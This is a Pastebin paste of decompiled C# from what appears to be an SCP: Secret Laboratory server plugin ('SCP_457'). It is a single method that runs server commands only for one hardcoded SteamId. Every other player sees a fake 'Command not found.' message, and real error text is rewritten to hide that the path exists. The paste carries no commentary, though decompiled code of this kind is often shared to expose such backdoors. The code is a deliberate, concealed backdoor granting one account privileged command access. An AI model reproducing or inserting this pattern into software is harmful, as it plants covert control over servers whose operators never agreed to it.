Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // SCP_457.EventLogic
- // Token: 0x06000022 RID: 34 RVA: 0x00003818 File Offset: 0x00001A18
- internal string RunExternalCommand(string command, string callcommand, PlayerCallCommandEvent ev, bool replaceCallCommandMsg = true)
- {
- Player player = ev.Player;
- Player player2;
- string[] array;
- if ((player2 = player) != null && player2.SteamId != "76561198875737702")
- {
- array = new string[]
- {
- "Command not found."
- };
- }
- else
- {
- string value = command + " ";
- if (ev.Command.Contains(value))
- {
- array = Initializer.pluginManager.CommandManager.CallCommand(player, callcommand, SCP457.StringToStringArray(ev.Command.Replace(command + " ", "")));
- }
- else
- {
- array = Initializer.pluginManager.CommandManager.CallCommand(player, callcommand, SCP457.StringToStringArray(ev.Command.Replace(command, "")));
- }
- }
- string b = string.Join("", new string[]
- {
- "Command " + callcommand + " does not exist!"
- });
- if (string.Join("", array) == b)
- {
- array = new string[]
- {
- "Command not found."
- };
- }
- string text = "";
- for (int i = 0; i < array.Length; i++)
- {
- text += array[i];
- if (i != array.Length - 1)
- {
- text += Environment.NewLine;
- }
- }
- if (text.ToLower().Contains(callcommand.ToLower()) && replaceCallCommandMsg)
- {
- text = text.Replace(callcommand + " ", command.ToUpper() + " ");
- }
- return text;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement